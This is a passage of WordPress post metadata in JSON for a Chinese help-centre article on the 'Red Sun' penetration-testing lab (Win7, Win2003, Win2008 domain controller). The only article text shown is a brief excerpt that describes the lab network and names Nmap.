                                                                                                                                                                                                                                              \n\u4f7f\u7528\u5de5\u5177\/\u8f6f\u4ef6： Plain Text Nmap&<\/p>\n","protected":false},"author":2,"featured_media":117647,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[13334,13335,1047],"topic":[],"class_list":["post-117667","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-13334","tag-13335","tag-1047"],"yoast_head":"\n\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/117667.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u57fa\u672c\u4fe1\u606f \u6d4b\u8bd5\u73af\u5883 Plain Text \u7cfb\u7edf\u73af\u5883 \u6e17\u900f\u673a：kali \u9776 \u673a：\u90e8\u7f72\u5230\u865a\u62df\u673a\u4e0a\u7684 Win7（\u8fb9\u754c\u4e3b\u673a）\u3001Win2003（\u5185\u7f51\u6210\u5458\u670d\u52a1\u5668）\u3001Win2008（\u57df\u63a7 god.org） \u7f51\u7edc：\u5916\u7f51\u4e3a NAT \u7f51\u6bb5，\u5185\u7f51\u4e3a\u4ec5\u4e3b\u673a\u7f51\u6bb5 192.168.52.0\/24 \u4f7f\u7528\u5de5\u5177\/\u8f6f\u4ef6： Plain Text Nmap&\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/117667.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-24T21:26:32+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261024212626-6add22825dd02.gif\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/117667.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/117667.html\",\"name\":\"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-10-24T21:26:32+00:00\",\"dateModified\":\"2026-10-24T21:26:32+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/117667.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/117667.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/117667.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/117667.html","og_locale":"zh_CN","og_type":"article","og_title":"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u57fa\u672c\u4fe1\u606f \u6d4b\u8bd5\u73af\u5883 Plain Text \u7cfb\u7edf\u73af\u5883 \u6e17\u900f\u673a：kali \u9776 \u673a：\u90e8\u7f72\u5230\u865a\u62df\u673a\u4e0a\u7684 Win7（\u8fb9\u754c\u4e3b\u673a）\u3001Win2003（\u5185\u7f51\u6210\u5458\u670d\u52a1\u5668）\u3001Win2008（\u57df\u63a7 god.org） \u7f51\u7edc：\u5916\u7f51\u4e3a NAT \u7f51\u6bb5，\u5185\u7f51\u4e3a\u4ec5\u4e3b\u673a\u7f51\u6bb5 192.168.52.0\/24 \u4f7f\u7528\u5de5\u5177\/\u8f6f\u4ef6： Plain Text Nmap&","og_url":"https:\/\/www.wsisp.com\/helps\/117667.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-10-24T21:26:32+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/10\/20261024212626-6add22825dd02.gif"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"12 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/117667.html","url":"https:\/\/www.wsisp.com\/helps\/117667.html","name":"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-10-24T21:26:32+00:00","dateModified":"2026-10-24T21:26:32+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/117667.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/117667.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/117667.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/117667","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=117667"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/117667\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/117647"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=117667"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=117667"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=117667"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=117667"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}